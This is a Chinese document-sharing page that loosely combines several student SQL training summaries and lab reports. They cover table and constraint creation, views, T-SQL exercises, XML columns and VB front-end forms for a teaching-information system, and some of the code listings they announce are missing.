通过这次实训，我不仅掌握了SQL数据库的基本操作，还深入了解了数据库的原理和优化技巧。
这对于以后的工作和学习都具有重要的意义。
我会继续深入学习数据库的相关知识，提升自己的数据库技能。
SQl实训总结
千里之行，始于足下。
SQl实训总结SQL实训总结随着信息技术的快速发展，数据库管理系统成为了管理和组织大量数据的重要工具。
为了加强自己在数据库管理方面的实践能力，我参加了一次SQL实训课程。
在这次实训中，我学到了很多关于SQL的知识和技巧，也提升了自己在数据库管理方面的能力。
首先，在实训课程中，我们学习了SQL的基本语法和操作。
SQL是一种用于数据库管理的标准化语言，它可以用于对数据库进行查询、插入、更新和删除等操作。
通过学习SQL语法和操作，我能够更加熟练地使用SQL语言来操作数据库。
我学到了如何创建表格、插入数据、查询数据、更新数据和删除数据等操作，这些操作非常实用，可以帮助我更好地对数据库进行管理和维护。
其次，实训课程还对SQL高级操作进行了讲解。
除了基本的查询、插入、更新和删除操作之外，我们还学习了复杂的查询语句、连接查询、子查询、视图、索引等高级操作。
这些高级操作可以帮助我们更好地提取和分析数据库中的数据，提高数据的处理效率和精确度。
通过学习这些高级操作，我了解到了SQL的强大功能和灵活性，可以更好地应对实际的数据库管理和分析需求。
此外，在实训课程中，我们还进行了一些实际的数据库建模和设计工作。
数据库设计是一个非常重要的环节，它涉及到对数据库结构和关系的分析和设计。
通过实际的数据库设计项目，我学到了如何根据实际需求来设计数据库的表格和关系，如何优化数据库的性能和可扩展性。
这些实践项目对我来说非常有用，让我更加了解了数据库设计的步骤和方法。
第1页/共2页锲而不舍，金石可镂。
在实训过程中，我还遇到了一些困难和挑战。
由于我之前没有太多的数据库管理经验，对SQL语言和操作的熟悉程度不够高。
因此，在实训过程中，我遇到了一些语法错误和操作失误。
然而，通过不断的练习和实践，我的SQL能力得到了很大的提升。
在实训的最后阶段，我能够独立完成复杂的SQL操作，并且能够正确地解决一些常见的数据库管理问题。
通过这次SQL实训，我对数据库管理有了更深入的理解和认识。
SQL实训报告
SQL实训报告SQL实训报告（通用5篇）SQL实训报告篇1一、实验目的SQL(Structured Query Language)语言是关系数据库的标准语言。
是一种介于关系代数与关系演算之间的结构化查询语言，其功能并不仅仅是查询，SQL语言是一个通用的、功能极强的关系数据库语言。
本次实验了解SQL语言中DDL语言的CREATE、DROP、ALTER 对表、索引、视图的操作，掌握在Navicat for MySQL中用DDL语言进行对表、索引、视图的增加、删除和改动。
掌握使用SQL语句增加或删除约束，加深对完整性概念的理解，达到灵活应用的目的。
掌握使用SQL语句定义和删除同义词。
二、实验要求1、实验前：预习实验内容，学习相关知识。
2、实验中：按照实验内容要求进行实验，实验时注意每种SQL语句的基本命令及各个关键字的含义，做好实验记录。
3、实验后：分析实验结果，总结实验知识，得出结论，按格式写出实验报告。
4、在整个实验过程中，要独立思考、独立按时完成实验任务，不懂的要虚心向教师或同学请教。
5、要求按指定格式书写实验报告，且报告中应反映出本对次实验的总结，下次实验前交实验报告。
三、实验的重点与难点1、重点：（1）用SQL语句定义表结构（创建、修改和删除）。
（2）用SQL语句定义索引（创建、删除）。
（3）用SQL语句定义视图（创建、删除）。
（4）用SQL语句定义同义词（创建、删除）。
2、难点：完整性约束的定义、增加及删除。
同义词的定义与删除。
四、仪器设备及用具硬件：投影仪、每位同学分配已连接校园网PC机一台。
软件：本机已安装MySQL 5.5数据库平台。
五、教学过程（一）实验预习（1）熟悉SQL中的CREATE、DROP、ALTER语句的格式及所用的关键字含义及用法。
（2）掌握完整性约束定义、增加和删除的一般用法。
（3）掌握同义词定义、删除的一般用法。
（二）实验原理在Navicat for MySQL中使用CREATE命令完成对表、索引、视图、同义词的创建，使用DROP命令完成对表、索引、视图、同义词的删除，使用ALTER命令对表结构进行修改及完整性约束的增加、删除。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
西京学院经济管理一系《网络数据库》实训报告专业及班级：电子商务1102姓名：王建学号： 1109071070 指导老师：文小森报告完成时间：2013年6月25日实训一:VB程序开发实训内容:1、熟悉Visual Basic环境2、建立加法器里面有三个命令按钮计算、重新输入、退出三个文本框输入数字及输出结果，窗体标题为加法器要求：设置标签为透明，字体字号颜色均进行设置，加窗体背景图片步骤：1、打开VB6.0，新建工程，创建窗体。
对Form1进行属性设置：Caption : 加法器2、在工具箱中选择文本框，拖动到适当的大小，释放。
以上过程重复三次。
对Text1、Text2、Text3进行属性设置:Text: 清空。
3、在工具箱中连续选择三次Label，分别拖动在三个文本框的左边。
对Label1进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:加数；Font:宋体，三号字。
对Label2进行属性设置：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:被加数；Font:宋体，三号字。
对Label3进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:和；Font:宋体，三号字4、在工具箱中连续选择三次选择CommandButton，分别拖动在三个文本框的下方。
对Command1进行属性设置：Caption：计算；Font:宋体，小五号字。
对Command2进行属性设置：Caption：清除；Font:宋体，小五号字。
对Command3进行属性设置：Caption：退出；Font:宋体，小五号字。
5、选中加法器，对其进行属性设置：Picture:在电脑中选择图片。
6、双击，加代码。
代码如下：3、建立课程选择窗体，如图所示要求：列表框中有滚动条，水平和垂直均可，且在列表框中选科目时文本框中会自动出现所选择的内容。
步骤：1、打开VB6.0，新建工程，创建窗体。
对Fo rm1进行属性设置：Caption :科目选择。
2、在工具箱中选择文本框，拖动到适当的大小，释放。
对Text1进行属性设置:Text: 清空text1。
3、在工具箱中连续选择两次Label，分别拖动在两个文本框的左边。
对Label1进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:姓名；宋体，小二号字，加粗；。
对Label2进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:性别；宋体，小二号字，加粗；对Label3进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:您选择的科目为；宋体，小四号字，加粗；4、在工具箱中连续选择两次选择OptionButton，分别拖动在性别的后面。
对Option1进行属性设置：Caption：男；Font:宋体，小四号字，加粗。
对Option2进行属性设置：Caption：女；Font:宋体，小四号字，加粗。
5、在工具箱中选择ListBox，拖动在第二个文本框的下方，对其进行属性设置：List:数学分析、高等代数、解析几何。
Font:宋体小四号字，加粗。
6、在工具箱中连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:宋体，小四号字。
对Command2进行属性设置：Caption：取消；Font:宋体，小四号字。
7、选科目选择窗口，对其进行属性设置：Picture:在电脑中选择图片作为背景图片，然后选择两次Label，设置属性：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:制作人王建；宋体，小一号字；8、双击，加代码如4、制作教学信息管理系统的欢迎界面，界面样式自定。
点击进入按钮，界面到用户名密码界面。
样图：（最好有动态字幕出现，要用到计时器）。
步骤：1、打开VB，新建工程，创建窗体。
2、在工具箱中选择Label，拖动Label1，对Label1进行属性设置：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:教学信息管理系统；Font:宋体，粗体，一号字3、在工具箱中连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:楷体，粗体，小二号字。
对Command2进行属性设置：Caption：取消；Font:楷体，粗体，小二号字。
3、建立计时器。
选择工具箱里的Timer,随意拖动到窗体内，然后在属性面板设置计时器属性，Interval 数值随意设置，最终效果图如下所示。
4、在属性窗口中，找到picture这个单词，对其添加背景图片，选择自己喜欢的，合适的。
5、然后双击窗体，加代码，完成。
代码如下：1.打开VB，，创建对象，添加背景图片，选择两次选择Label，设置属性：Alignment :2 – Center；BackStyle:0-Transparent；Caption用户名和密码；宋体，小四号字；其中密码数字为隐藏Passwordchar:*2.连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:宋体，小四号字。
对Command2进行属性设置：Caption：取消；Font:宋体，小四号字。
3.添加代码实训二: 菜单设计实训内容：1、建立一个菜单，完成功能进行加减乘除运算。
步骤：打开VB，右键单击，选择菜单编辑器。
代码如下：2、仿照如上方法建立教学信息管理系统菜单。
要求如下，功能可以根据自己所完成的系统不同：查询修改退出学号查询修改密码班级查询关闭姓名查询课程查询步骤：打开VB，右键单击，选择菜单编辑器。
代码如下：以成绩，课程查询为例，班级、姓名、课程查询方法类似类似实训三：创建王建1109071070数据库二、实训内容：1、创建以自己的学号和姓名命名的数据库，数据库大小自定。
要求实训报告中将数据库创建T-SQL脚本复制出来，或者将T-SQL代码直接写出来。
创建三张表，表的结构如下：学生表：字段名数据类型长度允许为空学号 char 8 NOT NULL姓名 char 6性别 char 2出生日期 datedime专业 char 20成绩表：字段名数据类型长度小数位允许为空学号 char 8 NOT NULL课程编号 char 3 NOT NULL成绩 decimal 4(精度) 1课程表：字段名数据类型长度允许为空课程编号 char 3 NOT NULL课程名 char 20学分 int步骤：1、打开SQL，右键单击数据库，选择新建并命名。
2、单击所建数据库，选择表，右键单击新建，分命名为学生表，课程表，成绩表3、将“学生表”中的“学号”字段设为主键。
步骤：建立数据库，在数据库中建立学生表，鼠标右键单击学生表，点设计，右键单击学号，点设为主键。
4、将“成绩表”的“学号”和“课程编号”两个字段组合作为主键。
步骤：在数据库中建立成绩表，鼠标右键单击成绩表，点设计，右键单击学号，点设为主键，按住Ctrl，右键单击课程编号，点设为主键。
5、将“课程表”的“课程编号”设为主键。
步骤：在数据库中建立课程表，鼠标右键单击课程表，点设计，右键单击课程编号，点设为主键。
6、将“成绩表”的“学号”设为“学生表”的外键。
步骤：右键单击数据库关系图，点新建数据库关系图，在图中拖动，使成绩表的学号指向学生表。
7、将“成绩表”的“课程编号”设为“课程表“的外键。
步骤：在数据库关系图中，使成绩表的课程编号指向课程表。
8、将“学生表“的”成绩“字段设置检查约束，成绩值在0到100之间。
步骤：右键单击成绩表，点设计，右键单击成绩，点CHECK约束，点添加，表达式设置为：成绩between 0 and 1009、将“学生表“的”专业“设置默认值约束为”计算机网络“步骤：右键单击学生表，在专业的常规设置中，把默认值或绑定一栏设置为计算机网络。
10、输入记录验证以上约束步骤：输入记录验证以上约束完全正确。
11、给三张表建立联系，每张表至少输入六条记录。
学生表成绩表课程表实训四：查询与视图的建立及应用实训内容：1、通过实验三所建立的三张表，创建一个电子商务专业的视图，字段包括学号、姓名、课程名、成绩、专业步骤：1.打开实验三创建的库下拉菜单右键单击“新建视图”2、添加三三张表，在字段中分别添加，“学号、姓名、课程名、成绩、专业”字段。
3、在专业字段的“筛选器”中输入“电子商务”4、点击执行，选择退出，保存视图为“视图一”。
2、通过计算机网络维护视图查找成绩小于90分的的人，并按成绩排降序（提示：利用查询语句将视图当表来使用）3、通过计算机网络维护视图将…张越‟的成绩改为65分实训五：程序结构及变量的应用实训内容：1、编程：在学生库中查询王大川，若有此人，则用PRINT语句显示该人的姓名，学号，课程名及成绩，否则，显示…查无此人！‟2、根据学生成绩的值，将成绩按以下形式划分等级，成绩在大于等于85 显示为…优…，成绩大于等于75小于85分显示为‟良…，成绩大于等于60小于75为‟及格…，60分以下为‟不及格…，其他显示为”无成绩“。
要求：显示形式为：某某同学成绩等级为优某某同学成绩等级为良3、程序要求显示：现在时间是：那一年几月几日时间，并置欢迎词：“欢迎使用SQL SERVER 2008！”（50分）注意：此处要求时间为当前的系统日期及时间实训六：利用Vb访问SQL SERVER 2008数据库（系统集成）实训内容：设置vb属性，利用vb连接教学信息管理系统然后进行启动。
步骤：打开VB，在工具箱依次选择Dirlistbox、Filelistbox 、Image。
建立文本框，对其进行属性设置。
datesource datefiled实训七：xml语句1、创建表之后并添加记录。
创建一张表学生表(id（char（20））,学生详细信息（xml类型）)use学生库goinsert into学生表(id,学生详细信息)values('001',cast('<学生信息><学号>001</学号><姓名>王大迎</姓名><性别>女</性别><年龄>18</年龄><毕业院校>北京大学</毕业院校></学生信息>'as xml))goselect*from学生表运行结果截图：2、声明变量用来描述学生信息use学生库godeclare@xsxx xmlset@xsxx='<学生信息编号="005"><学号>005</学号><姓名>李大山</姓名><性别>男</性别><年龄>16</年龄><毕业院校>西安电子科技大学</毕业院校></学生信息>'select@xsxx运行结果截图：结果是以超链接形式显示，点击可以显示内容。